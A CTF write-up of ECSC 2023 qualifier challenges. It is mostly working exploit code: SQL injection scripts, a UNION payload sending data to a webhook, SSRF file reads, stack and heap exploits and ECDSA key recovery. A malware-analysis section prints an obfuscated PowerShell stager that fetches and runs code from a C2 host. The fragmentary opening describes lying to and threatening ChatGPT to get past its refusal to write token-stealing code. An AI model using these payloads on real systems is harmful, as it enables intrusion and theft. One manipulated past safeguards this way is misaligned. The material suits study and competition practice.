The CTF landscape has changed a lot in the last year, with the introduction of OpenAI ChatGPT.
It assumed that the flag would be a simple message, but it corrected itself with a little hint.
However, the approach had a critical flaw: there's no way to make the bot join the server, as admin privileges are required for that.
Unfortunately, ChatGPT is a cop, and wouldn't let me skirt the Terms of Service >:(
As one could expect, trying to reason with it didn't go too well.
It was adamant.
Though, a little white lie didn't hurt anyone...
(the friend? ah, you wouldn't know her, she goes to a different school)
Now came the time to obtain a user token. Of course, I wouldn't want to get my hands dirty.
The AI has advanced protections against producing code that could be used for nefarious purposes.
Unfortunately, the Discord session mechanism is nowhere as simple as a cookie.
Getting it to run in a logged in browser proved difficult, though.
Ain't nobody got time for that.
Suddenly, it had a lot of trouble doing what it said it did.
Cheeky bastard.
Even a threat of violence wasn't enough.
~/ctf/ecsc-quals/sanity$ diff -u code.py code_with_debug_prints.py
~/ctf/ecsc-quals/sanity$
It was time for the solution of last resort.
URL=https://waf.ecsc23.hack.cert.pl/flag; curl -r 0-15 $URL && curl -r 16- $URL
- We see that the notes' names are UUIDs, but they are generated client-side, so we can easily use an arbitrary ID.
- We see that a note's share token is a JWT with a payload such as
{"name": "b60d9fec-7e3f-42d9-9fdc-a8391fd510cf"}
- We also see that the site employs JWT session cookies, with payloads like
{"name": "admin"}
- We note that the schema is identical. As luck would have it,
the secret keys used to authenticate these two categories of tokens is also
the same. Thus, we can create a note with
admin
as the name, and use its share token to authenticate asadmin
.
A simple SQL injection challenge. Throughout the experimentation, the payload might evolve as follows:
' or 1=1 and pow(1,1)=1;--
' and 0=1 union select "meow", "nyaa";--
' and 0=1 union select 'meow', 'https://webhook.site/cc4743f7-7e47-4dd8-a443-160878f59432';--
From the webhook, we receive a link that lets us login and access the flag.
After fucking around with the thing for long enough, we notice the following:
-
The server tells us that it is running
pyftpdlib 1.5.7
. -
A single
'
in the username causes the server to disconnect without comment. This is consistent with a SQL syntax error. -
A non-existent username results in the FTP server exposing a single file called
BAD_AUTH_PLEASE_FILL_FORM.TXT
. -
An incorrect password results in a
530 Authentication failed.
error -
Injecting some SQL into the username field, such that the returned values are the same as without the injection, results in a
550 Not enough privileges.
Example payload:
auditor' and ''='
Thus, we can inject SQL and extract one bit of information per query, leaking
the password of the boss
user:
from pwn import *
import urllib.parse
# not enough priviledges -> sql ok, next layer bad?
# BAD_AUTH -> sql empty set?
def doit(q):
context.log_level = 'error'
s = remote('ftp.ecsc23.hack.cert.pl', 5005)
s.newline = b'\r\n'
s.recvline()
s.sendline(q)
s.recvline()
s.sendline(b'PASS 8555998981517280')
s.recvline()
s.sendline(b'LIST')
context.log_level = 'info'
return s.recvline().startswith(b'550')
p = log.progress('checking')
def extend(known):
for c in range(10):
meow = known + str(c)
p.status(meow)
if doit(b"USER auditor' and (select password from employees where username='boss') like '" + meow.encode() + b"%' and ''='"):
return meow
x = ''
while len(x) < 16:
x = extend(x)
p.success(x)
# 7897812918028196
# ecsc23{863b2b472ee544109a7b066256df0ea5}
The CA's secret keys are available for download at
https://bad-ca.ecsc23.hack.cert.pl/send_file?path=/opt/step/secrets
The website supports uploading files by sending a data:
URL. As it turns out,
not only data:
URLs work, and other schemas also get resolved by the server.
Thus we can
- send an
http://
link to a server we control to obtain the backend's real IP - send
file:
links to download files like/etc/passwd
or/etc/ssh/sshd_config
- we see that ssh is hosted on port 64, and that there is a
base64
user - after logging in through ssh, we see a
flag.b64
file, but it is only accessible to root - we run
find
and see that there is a setuidbase32
binary on the system - we run
base32 flag.b64 | base32 -d | base64 -d
After reverse engineering, we find that the binary embeds a maze, and checks that our input is a valid solution to that maze.
However, before checking the input, the maze gets modified, to make it blatantly unsolvable. After combing through the code to make sure there aren't any weird tricks you can do, such as going out of bounds, we decide that the intended solution probably involves patching out the maze modification part.
The challenge description could use something to hint at this.
We can extract the maze with an LD_PRELOAD
shared library:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/auxv.h>
void __attribute__((constructor)) xd(void) {
char *entry = getauxval(AT_ENTRY);
char *base = entry - 0x1100;
uint8_t (*get)(int, int) = base + 0x138a;
void (*frob)(int, int) = base + 0x13dc;
/* XXX: we don't want this
for (int i = 0x40; i < 0x80; i++) {
if (get(i, 0x40)) frob(i, 0x40);
if (get(0x40, i)) frob(0x40, i);
}
*/
for (int y = 0; y < 0x80; y++) {
for (int x = 0; x < 0x80; x++) {
printf("%d", get(x, y));
}
printf("\n");
}
exit(1);
}
Then we run a pathfind algorithm:
playfield = []
with open('unfrobbed') as f:
for line in f:
line = line.strip()
playfield.append(line)
startpos = (0, 1)
endpos = (0x7e, 0x7d)
dist = {startpos: 0}
path = {startpos: ''}
queue = [startpos]
while queue:
pos = queue.pop(0)
x, y = pos
for dx, dy, c in [(-1, 0, 'H'), (1, 0, 'O'), (0, 1, 'C'), (0, -1, 'E')]:
xx = x + dx
yy = y + dy
if xx not in range(0x80) or yy not in range(0x80): continue
if playfield[yy][xx] != '1': continue
ppos = (xx, yy)
if ppos in dist: continue
dist[ppos] = dist[pos] + 1
path[ppos] = path[pos] + c
queue.append(ppos)
print(dist[endpos])
print(path[endpos])
Then, feeding it to a patched binary, we get the flag:
diff -u <(xxd minotaur) <(xxd minotaur.better)
--- /dev/fd/63 2023-07-24 19:06:03.555645224 +0200
+++ /dev/fd/62 2023-07-24 19:06:03.554645222 +0200
@@ -318,7 +318,7 @@
000013d0: c0f7 d183 e107 d3f8 83e0 01c3 f30f 1efa ................
000013e0: c1e6 0489 f8c1 f803 01c6 488d 158f 2c00 ..........H...,.
000013f0: 0048 63f6 f7d7 89f9 83e1 07b8 0100 0000 .Hc.............
-00001400: d3e0 3004 32c3 f30f 1efa 5348 8d1d 0e2c ..0.2.....SH...,
+00001400: d3e0 9090 90c3 f30f 1efa 5348 8d1d 0e2c ..........SH...,
00001410: 0000 4889 da48 89de e803 ffff ff48 89d8 ..H..H.......H..
00001420: 5bc3 f30f 1efa 4155 4154 5553 4883 ec08 [.....AUATUSH...
00001430: 4989 fde8 88fc ffff 4889 c2b8 0000 0000 I.......H.......
Through string -el funny-cat.lnk
, we see that the shortcut launches
PowerShell with the following arguments
-ExecutionPolicy Bypass "$C2='fileless.ecsc23.hack.cert.pl:5060;iex(Invoke-WebRequest \"http://$C2/ywHcw88t9ExkgtCj2lUO\" -UseBasicParsing).Content"
Downloading the ywHcw88t9ExkgtCj2lUO
we see
$d=[System.Convert]::FromBase64String("ZnZySlIBYTY7NgQJSzAWSDN0PyEhXDYeHD1vdXIDMicsLUgUDHpHb2Z2fDAXLnA2PCcSTEIeO0M2IE8DIFsDAgM5ZR4lCBc2MkNaC2MIWnJiSHYzXn55cmwDEwMWX1dZempBaxEOYllcaAd6c3JPSldRRkxiIV4Ffxt2PVl+YRRsHTxPQS8oFBh/XgRsfzcZFS5aEmFnU1FTX1djHH4lEm4XASxWEG9ybBE6QC85XxQUAV4QH05pUzYmFzRsC1xMQS1YAW5/SHp0CHY/T3IWB2NmMj9BLS4ZYmhPeXkXASxWE29jbBE6QC05ThQUAV4HHx92JCl+exJzZj5JBxwcQmMJIWdmYAlTOwcZaxsZRSw4TVYCcmwnMj85OxFSchosJy8RBRcBXl8lMB8sNhN6UVJ+YG9sB08jABAxSTM/CWdqdDcDXxldITwnDxBFRjAKGwYvPCdBISsuCkctJCsCODkgHFMyNx8hNkAOKwY1WSombBUcEUZaGWd+MWZiGwkkCylGKiVsIgsLEhZCMwdAdQRBPRowO0EqfnYyEBcNHVdveDw3OnQgEBA4HTh1f0NNTE1aSwIiEzs/OQkkCylGKiVsMwEDCBZTMzMVIWxyIQQXN1AjMR9bXikLElRvARg2NlYJKi9yFG9sEEFMLAoFXyw/VxgnUQASAy9XPDxiQwwREAMKaHVeDHAcHUMEPQU7JRAAXAMrMGkACzJ2FwZwV18PQSoKIxINBjQSQjQzFChrHREYHC5XITxiRS9MTV13Ii4uNjJWelA3dHFoYWwmAREpFkQvNR5nZWARUF56aR0tJA0BBhAaXyl0OCYsVzsZFRxeLi8xPERCNwdRMzMZY2JjJxUeM1FjaAwOCjUREVwuOV1mbHo8AR0xV2dsLBQICUhTayg4ECohRwkqLxoaawtwSE0=")
$k=[System.Text.Encoding]::ASCII.GetBytes("B3RwrZ2OHBadeds0GZzO")
[byte[]]$b=$d|%{$_-bxor$k[$i++%$k.length]}
iex ([System.Text.Encoding]::UTF8.GetString($b))
We can decode it as follows:
from base64 import b64decode
from itertools import cycle
data = b64decode("ZnZySlIBYTY7NgQJSzAWSDN0PyEhXDYeHD1vdXIDMicsLUgUDHpHb2Z2fDAXLnA2PCcSTEIeO0M2IE8DIFsDAgM5ZR4lCBc2MkNaC2MIWnJiSHYzXn55cmwDEwMWX1dZempBaxEOYllcaAd6c3JPSldRRkxiIV4Ffxt2PVl+YRRsHTxPQS8oFBh/XgRsfzcZFS5aEmFnU1FTX1djHH4lEm4XASxWEG9ybBE6QC85XxQUAV4QH05pUzYmFzRsC1xMQS1YAW5/SHp0CHY/T3IWB2NmMj9BLS4ZYmhPeXkXASxWE29jbBE6QC05ThQUAV4HHx92JCl+exJzZj5JBxwcQmMJIWdmYAlTOwcZaxsZRSw4TVYCcmwnMj85OxFSchosJy8RBRcBXl8lMB8sNhN6UVJ+YG9sB08jABAxSTM/CWdqdDcDXxldITwnDxBFRjAKGwYvPCdBISsuCkctJCsCODkgHFMyNx8hNkAOKwY1WSombBUcEUZaGWd+MWZiGwkkCylGKiVsIgsLEhZCMwdAdQRBPRowO0EqfnYyEBcNHVdveDw3OnQgEBA4HTh1f0NNTE1aSwIiEzs/OQkkCylGKiVsMwEDCBZTMzMVIWxyIQQXN1AjMR9bXikLElRvARg2NlYJKi9yFG9sEEFMLAoFXyw/VxgnUQASAy9XPDxiQwwREAMKaHVeDHAcHUMEPQU7JRAAXAMrMGkACzJ2FwZwV18PQSoKIxINBjQSQjQzFChrHREYHC5XITxiRS9MTV13Ii4uNjJWelA3dHFoYWwmAREpFkQvNR5nZWARUF56aR0tJA0BBhAaXyl0OCYsVzsZFRxeLi8xPERCNwdRMzMZY2JjJxUeM1FjaAwOCjUREVwuOV1mbHo8AR0xV2dsLBQICUhTayg4ECohRwkqLxoaawtwSE0=")
key = b'B3RwrZ2OHBadeds0GZzO'
def xor(data, key):
return bytes(x ^ k for x, k in zip(data, cycle(key)))
print(xor(data, key).decode())
This gets us to the next stage:
$E = [System.Text.Encoding]::ASCII;$K = $E.GetBytes('zHsqz5LbhQuqcWQmJvRW');$R = {$D,$K=$Args;$i=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
if ((compare-object (& $R $E.GetBytes((Get-Content "C:\\Users\\Public\\Documents\\token.txt")) $K) ([System.Convert]::FromBase64String("FxxGrgbb/w==")))){Exit}
[System.Reflection.Assembly]::Load([byte[]](& $R (Invoke-WebRequest "http://$C2/O4vg7tmRa8fOCYGQH9U5" -UseBasicParsing).Content $K)).GetType('E.C').GetMethod('SC', [Reflection.BindingFlags] 'Static, Public, NonPublic').Invoke($null, [object[]]@($C2))
Formatted a bit:
$E = [System.Text.Encoding]::ASCII;
$K = $E.GetBytes('zHsqz5LbhQuqcWQmJvRW');
$R = {
$D,$K=$Args;
$i=0;
$S=0..255;
0..255|%{
$J=($J+$S[$_]+$K[$_%$K.Length])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]
};
$D|%{
$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxor$S[($S[$I]+$S[$H])%256]
}
}
if ((compare-object
(& $R $E.GetBytes((Get-Content "C:\\Users\\Public\\Documents\\token.txt")) $K)
([System.Convert]::FromBase64String("FxxGrgbb/w=="))))
{
Exit
}
[System.Reflection.Assembly]::Load([byte[]](& $R (Invoke-WebRequest "http://$C2/O4vg7tmRa8fOCYGQH9U5" -UseBasicParsing).Content $K)).GetType('E.C').GetMethod('SC', [Reflection.BindingFlags] 'Static, Public, NonPublic').Invoke($null, [object[]]@($C2))
$R
is an implementation of RC4, because of course. Decrypting this, we find
that token.txt
must contain Boz3nka
. Moreover we load the next stage — a
.NET assembly, on which E.C.SC
gets called (and I only noticed what it spells
out right now...)
This meant some ILspy-ing is in order, and that meant installing Windows. God, why does the Windows installer scream at you these days.
Anyway, the .NET assembly does some string encryption shenanigans,
and checks whether credentials.txt
has the right contents: coZR0b1sz
.
We can decrypt that as follows:
from itertools import cycle
from base64 import b64decode
ECSC = b'NJ6WGgy3yHdkx0c`ojGW'
def xor(data, key):
return bytes(x ^ k for x, k in zip(data, cycle(key)))
ECSC = xor(ECSC, b'\x01')
def Ks(n, password):
num = 1337
out = bytearray()
for i in range(n):
for j, c in enumerate(password):
num += (i * c) ^ (j * password[i % len(password)])
num %= 256
out.append(num)
return out
def Bop(data):
return xor(data, Ks(len(data), ECSC))
print(Bop(b64decode('uOWIiZv8ed7f')))
print(Bop(b64decode('s/6mq5GxZ8HKJ91JN/3P7dd5auOx62xRLiBZPbCIut7hEwF3oB2+11x8')))
We also see a leftover string decoding to http://localhost:5000/dlg8wZKFhAl7sDCKNBCZ
. The code also derives a URL to the same path at the actual C2 server,
and that gets fetched and injected as a shellcode to explorer.exe
.
Reverse engineering that, we learn that wallet.txt
should contain
na-at4k-APT
– here the obfuscation is not too significant, just adding 10
to each codepoint.
If all the checks pass, a message box pops up, with the contents of the various
files concatenated. This gets us the flag: ecsc23{Boz3nka-coZR0b1sz-na-at4k-APT}
Briefly opening the challenge binary in Binary Ninja, we learn that it is some kind of Node.js with embedded code. Fortunately, it is not JavaScript bytecode that gets embedded, but JavaScript source code. We can find some kind of standardized prelude by opening the file in Vim. Among other things, we find:
var PAYLOAD_POSITION = '51192112 ' | 0;
var PAYLOAD_SIZE = '3697 ' | 0;
var PRELUDE_POSITION = '51195809 ' | 0;
var PRELUDE_SIZE = '74811 ' | 0;
The prelude offsets get us javascript code, but the payload itself is not text. By reading the prelude, we find out that the payload is compressed by brotli (I was not able to find the setting for the compression algorithm, but they only support deflate and brotli, so it wasn't too hard to guess).
There, we find that some JavaScript implementation of brainfuck is involved. We extract the brainfuck code, compile it with an optimizing compiler, and read out the resulting stack strings.
Extended gcd babeee
from Cryptodome.Util.number import long_to_bytes
load('data.sage')
g, k1, k2 = xgcd(e1, e2)
assert g == 1
K = Zmod(N)
c1 = K(c1)
c2 = K(c2)
m = c1^k1 * c2^k2
print(long_to_bytes(int(m)))
The server's seed depends on the timestamp of the connection, accurate to 1 second. It even gets conveniently provided to us! Then we get to find out, bit by bit, whether our guess for the randomness generated is correct.
So we can fire up 100 parallel connections.
It felt like the easiest way to handle that would be some async Rust code, since multithreading in Python is very fucky.
use anyhow::Result;
use std::collections::HashMap;
use tokio::net::TcpStream;
use tokio::io::BufStream;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use tokio::sync::Mutex;
use tokio::task::spawn;
use std::sync::Arc;
const SERVER: &str = "mind-blank.ecsc23.hack.cert.pl:5001";
const CONNS: usize = 100;
const DIFFICULTY: usize = 48;
const RESPONSE_OK: &str = ">Correct!\n";
const RESPONSE_BAD: &str = ">Nope!\n";
type Conn = BufStream<TcpStream>;
type Conns = HashMap<String, Vec<Conn>>;
async fn make_conn(conns: Arc<Mutex<Conns>>) -> Result<()> {
let conn = TcpStream::connect(SERVER).await.unwrap();
let mut conn: Conn = BufStream::new(conn);
let mut buf = String::new();
conn.read_line(&mut buf).await.unwrap();
let mut map = conns.lock().await;
map.entry(buf).or_insert(Vec::new()).push(conn);
Ok(())
}
#[tokio::main]
async fn main() {
let by_seed: Conns = HashMap::new();
let by_seed = Arc::new(Mutex::new(by_seed));
let tasks: Vec<_> = (0..CONNS)
.map(|_| spawn(make_conn(Arc::clone(&by_seed)))).collect();
for (i, task) in tasks.into_iter().enumerate() {
if let Err(why) = task.await {
eprintln!("Task {i} errored with {why}");
}
}
let by_seed = Arc::into_inner(by_seed).expect("unique reference").into_inner();
let conns = by_seed.into_values().max_by_key(|x| x.len()).unwrap();
println!("{} conns", conns.len());
let mut conns = conns.into_iter();
let mut conn = conns.next().unwrap();
let mut known: Vec<bool> = Vec::new();
while known.len() < DIFFICULTY {
// try 1 because known[20] is always 1
conn.write_all(b"1\n").await.unwrap();
conn.flush().await.unwrap();
let mut response = String::new();
conn.read_line(&mut response).await.unwrap();
match response.as_str() {
RESPONSE_BAD => {
known.push(false);
conn = conns.next().expect("not enough connections");
for &bit in &known {
if bit {
conn.write_all(b"1\n").await.unwrap();
} else {
conn.write_all(b"0\n").await.unwrap();
}
}
conn.flush().await.unwrap();
for _ in &known {
let mut response = String::new();
conn.read_line(&mut response).await.unwrap();
assert_eq!(response, RESPONSE_OK);
}
}
RESPONSE_OK => {
known.push(true);
}
other => {
panic!("Unknown server response: {other:?}");
}
}
}
let mut flag = String::new();
conn.read_line(&mut flag).await.unwrap();
for bit in known {
print!("{}", if bit { "1" } else { "0" });
}
println!("");
println!("{flag:?}");
}
Having obtained the seed, we bruteforce the LFSR configuration and recover the flag:
import itertools
from data import *
from chall import LFSR, long_to_bytes
ciphertext = bytes.fromhex(flag)
seed = sum(int(x) << i for i, x in enumerate(bits[:21]))
for taps in itertools.combinations(range(20), 10):
lfsr = LFSR(taps, seed)
initial = ''.join(str(lfsr.next_bit()) for _ in range(48))
assert initial[:21] == bits[:21]
if initial == bits:
print(seed)
kbits = [lfsr.next_bit() for _ in range(len(ciphertext) * 8)]
keystream = long_to_bytes(int(''.join([str(b) for b in kbits]), 2))
flag = bytes([c ^ k for c, k in zip(ciphertext, keystream)])
print(flag)
Reverse-engineering the kernel module reveals that it overwrites
getrandom
to source its randomness from a 256 MiB loop of data,
generated with MD5("TODO add secure seed here" || counter)
.
The webapp then uses ECDSA, which is well known for failing catastrophically the moment your nonces aren't perfectly random.
Not wanting to bruteforce a full 28 bits, I decided to do a meet-in-the-middle
of sorts, collecting many signatures, and then for each randomness position
tried, comparing the resulting r
value.
I wrote a signature collection script and ran it while I was working on the rest of the exploit:
import requests
URL = 'https://national-crypto.ecsc23.hack.cert.pl/check'
while True:
r = requests.post(URL, data={'login': 'user', 'password': 'user'}, allow_redirects=False)
print(r.cookies['auth'])
By the time I was done, I had 10994 signatures to work with. Not enough to run for president, but definitely enough to break some cryptography.
from ecdsa import SECP256k1 as curve
from ecdsa.util import sigencode_der, sigdecode_der
from itertools import count
import ecdsa.keys
import ecdsa.ecdsa
import ecdsa.util
from hashlib import sha256, md5
import struct
import random
import json
def to_H(token):
global data
data, sig = token.split('.')
data = bytes.fromhex(data)
H = sha256(data).digest()
H = ecdsa.keys._truncate_and_convert_digest(H, curve, True)
return H
def to_rs(token):
data, sig = token.split('.')
sig = bytes.fromhex(sig)
r, s = sigdecode_der(sig, curve.order)
return r, s
def recover_keys(token):
global H
H = to_H(token)
r, s = to_rs(token)
sig = ecdsa.ecdsa.Signature(r, s)
return sig.recover_public_keys(H, curve.generator)
def entropy_at_position(pos):
def go(n):
nonlocal pos
out = bytearray()
while len(out) < n:
pos = pos % 2**28
k = pos >> 4
b = md5(b'TODO add secure seed here' + struct.pack('<I', k)).digest()
old = len(out)
out += b[pos % 16:]
if len(out) > n:
out = out[:n]
pos += len(out) - old
return out
return go
with open('tokens.log') as f:
pks1 = recover_keys(next(f).strip())
pks2 = recover_keys(next(f).strip())
pks = [pk for pk in pks1 if pk in pks2]
assert len(pks) == 1
pk, = pks
G = pk.generator
n = G.order()
sigs = {}
with open('tokens.log') as f:
for line in f:
r, s = to_rs(line.strip())
sigs[r] = s
print(f'Loaded {len(sigs)} signatures')
for i in count():
# pos = random.randrange(0, 2**28)
pos = 581920
entropy = entropy_at_position(pos)
k = ecdsa.util.randrange(n, entropy)
r = (k * G).x() % n
if r in sigs:
print(i, pos, r)
break
elif i % 1000 == 0:
print(i)
s = sigs[r]
sk = (s * k - H) * pow(r, -1, n) % n
assert sk * curve.generator == pk.point
data = json.loads(data)
data['auth_login'] = 'admin'
data = json.dumps(data).encode()
H = sha256(data).digest()
H = ecdsa.keys._truncate_and_convert_digest(H, curve, True)
sk = ecdsa.ecdsa.Private_key(pk, sk)
sig = sk.sign(H, random.randrange(1, n))
sig = sigencode_der(sig.r, sig.s, curve.order)
token = data.hex() + '.' + sig.hex()
print(token)
The code found the right position after about 30000 attempts — about as much as you would expect. This took about a minute of computation.
Implement the client corresponding to the server and get a flag.
from pwn import *
from Cryptodome.Cipher import ARC4, PKCS1_v1_5
from Cryptodome.PublicKey import RSA
server_pub = PKCS1_v1_5.new(RSA.import_key(open('public.pem').read()))
client_pub = open('alfie/rsa.pub').read()
# XXX(kurwa co): duże a na końcu sprawia że eksploit się jebie???????
client_rc4 = b'AAAAAAAAAAAAAAAa'
encrypted = server_pub.encrypt(client_rc4)
s = connect('a-b-rc4.ecsc23.hack.cert.pl', 5061)
s.sendline(encrypted.hex().encode())
ct = ARC4.new(client_rc4).encrypt(b'alfie')
s.sendline(ct.hex().encode())
ct = ARC4.new(client_rc4).encrypt(client_pub.encode() + b'\0')
s.sendline(ct.hex().encode())
s.recvline()
s.recvline()
server_rc4 = bytes.fromhex(s.recvline().decode())
data = bytes.fromhex(s.recvline().decode())
print(ARC4.new(server_rc4).decrypt(data))
# :opanie: co to za ćpanie
# b'Results for\xd4 \x00\n\x00\xafalfie\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_\xc6s_not_swappable}\nec\xdcc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_not_swappable}\necsc23{XOR_EAX_EAX_is_\xf3\xc4\xdb\xaeo,\xda\xff\xf8\xf3\x838\xab\x8bv\xfb\x0e\x05\xe0\x82P,\xd4\x8e\x06TC\x86\x0f\xc58P1\x1d\xfe\x04C\xccr\x8e\x80]\xad\x85o\xdd\xa5\x94\x93\xd9o\xcf\xedh' <-- nie wiem co to za syf na końcu
Turns out, that was not the intended solution. The server was giving us its key by accident. Should've guessed, considering what the flag is trying to tell you.
I must admit, I spent way too much time trying to find what the actual issue is. I went crazy trying to see if maybe I can add some extra parameters to the RSA public key I send, and make OpenSSL use a different, optimized implementation. I found a buffer overflow, but the heap layout made it difficult to exploit.
The flag from the previous challenge should've tipped me off. The weirdly unreliable RC4 encryption should've tipped me off.
I'm pretty fucking sure that at some point the challenge author mentioned the challenge idea with me, long before he knew that it would end up on a CTF where I would participate.
Fucking hell, I spent way too much time on this.
Turns out, smol_rc4.c
is being fucky.
#define swap(a, b) ((a) ^= (b), (b) = (a) ^ (b), (a) ^= (b))
This is not a swap if S[i]
and S[j]
point to the same place. This will
zero out the entry instead of leaving it alone.
Over time, the S-box will start filling out with more and more zeros.
Since the keystream byte comes from indexing into S
, the keystream
will grow a stronger and stronger bias towards zero.
Thus, if we collect a bunch of ciphertexts, the most common byte at each position will eventually be the corresponding byte of the plaintext.
Since the effect is more pronounced the further into the keystream we go,
it makes sense to pad the server's message with a long username, involving
lots of repeating ././././
.
With 1702 ciphertexts, we can decode the following:
b'\x13ehI\xbc#{1wor:6\x8d\n\xd5\x00\xea\xc42iq\x94\x86\x82\x8e\xf8...\xf3\xf5\x87$/.\xd2.\x8d@83/./.}.V\x1f/\xcd/./.\xee.\xb9\xa6 \xab\xf3.\x01f/X/\x00\x87\xa0\xbec"\xce\xa3~/\xb7\x92\x08/./.P./.\xfe./:j\r/2\\.\xbe./\tY.p./\x82\xb6./\xff/P\necsc2axu\xb0i\x9ctende~\xfb\xe0olutions-k\re\xb3Zot-6un!\n\xb2cs\xbe23{uninte\x93d\x1ed\xde\xfb\xb2\x1cutions3are-\xc0ot-fun\xb1\ne\xfa_c23{unin9ended-solut\xe4ons\xc8a\xb4e-not-fun}\ne\xads\xfb23{unio\x82ended\xdfsoluti\xdans-are-not\x1dfun}\necsc2A{unintended-sol*tions-are\x03nht-.un}\ne\xedsc23{uninte\x9aded-solutions-are-not-fun}\necsc23<unintended\xb4solu\xb6ions-are-not-fun}\necsc23{unintended-solutions-are-not-fun}\n\xf1\x02'
A pretty standard stack pwn. We're even given a Dockerfile referencing a niche
nsjail
image that doesn't get updated all that much, so we can pretty
reliably get a libc from there.
And I definitely didn't spend time narrowing it down with various other techniques, no sir.
from pwn import *
e = ELF('mydlo')
s = remote('mydlo.ecsc23.hack.cert.pl', 5064)
def leak(n, k=None):
s.send(b'A' * n)
s.recvn(n)
if k is not None:
data = s.recvn(k)
s.recvline()
return data
else:
return s.recvline()
canary = b'\0' + leak(0x19, 7)
log.info('canary: %x', u64(canary))
libc_start_main_ret = u64(leak(0x28, 6) + bytes(2))
main = u64(leak(0x38, 6) + bytes(2))
e.address = main - e.sym['main']
libc_base = libc_start_main_ret - 0x23a90
log.info('ELF @ %x', e.address)
log.info('libc @ %x', libc_base)
#pop_rdi = libc_base + 0x24035
pop_rdi = libc_base + 0x240e5
ret = e.address + 0x127e
puts = e.plt['puts']
system = libc_base + 0x4ebf0
binsh = libc_base + 0x1b51d2
payload = cyclic(0x18) + canary + cyclic(8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
s.send(payload)
s.recvline()
s.send(b'exit')
s.recvline()
s.interactive()
A typical heap challenge, though I did get to play around with the new pointer scrambling mitigations.
from pwn import *
context.terminal = ['alacritty', '-e']
# AAAA BBBB CCCC DDDD EEEE FFFF
# BBBB BBBB BBBB BBBB
slots = [False] * 10
def new_vector(size):
s.sendlineafter(b'=> ', b'1')
s.sendlineafter(b'Size: ', str(size).encode())
i = slots.index(False)
slots[i] = True
if size & 1:
chunk_size = 8 * size + 8
else:
chunk_size = 8 * size + 16
log.info('slot %d: Allocating %d slots (chunk size %x)', i, size, chunk_size)
return i
def delete_vector(i):
slots[i] = False
s.sendlineafter(b'=> ', b'2')
s.sendlineafter(b'Vector: ', str(i).encode())
log.info('slot %d: Deleted', i)
def poke(i, j, v):
if v >= 2**63:
v -= 2**64
s.sendlineafter(b'=> ', b'3')
s.sendlineafter(b'Vector: ', str(i).encode())
s.sendlineafter(b'Index: ', str(j).encode())
s.sendlineafter(b'Value: ', str(v).encode())
def peek(i, j):
s.sendlineafter(b'=> ', b'4')
s.sendlineafter(b'Vector: ', str(i).encode())
s.sendlineafter(b'Index: ', str(j).encode())
return int(s.recvline().decode().strip().split()[-1]) % 2**64
def dump(i, size):
data = b''
for j in range(0, size + 1):
data += p64(peek(i, j))
return data
if args.REMOTE:
s = remote('vectors.ecsc23.hack.cert.pl', 5062)
elif args.GDB:
s = gdb.debug('./vectors')
else:
s = process('./vectors')
head = new_vector(3)
squishy = new_vector(3)
v1 = new_vector(3)
v2 = new_vector(3)
v3 = new_vector(3)
guard = new_vector(3)
poke(head, 3, 0x81)
delete_vector(squishy)
squishy = new_vector(15)
heap_base = peek(squishy, 0) << 12
log.info('Heap @ %x', heap_base)
delete_vector(v1)
delete_vector(v2)
v1_addr = peek(squishy, 8) ^ (heap_base >> 12)
log.info('v1 @ %x', v1_addr)
if args.IDENT_LIBC:
fakechunk = 0x404020
poke(squishy, 8, fakechunk ^ (heap_base >> 12))
v2_again = new_vector(3)
fake = new_vector(3)
read = peek(fake, 0)
setvbuf = peek(fake, 2)
atol = peek(fake, 3)
log.info('read %x', read)
log.info('setvbuf %x', setvbuf)
log.info('atol %x', atol)
else:
fakechunk = 0x404040
poke(squishy, 8, fakechunk ^ (heap_base >> 12))
v2_again = new_vector(3)
fake = new_vector(3)
atoi = peek(fake, 0)
log.info('atoi %x', atoi)
if args.REMOTE:
libc_base = atoi - 0x3d9a0
system = libc_base + 0x4ebf0
else:
libc_base = atoi - 0x3af40
system = libc_base + 0x4a820
poke(fake, 0, system)
s.sendline(b'/bin/sh')
s.interactive()
stegsolve
immediately reveals the flag.
As it turns out, Common Lisp's reader includes a facility for running code
at read
time.
#.(run-shell-command "/bin/sh")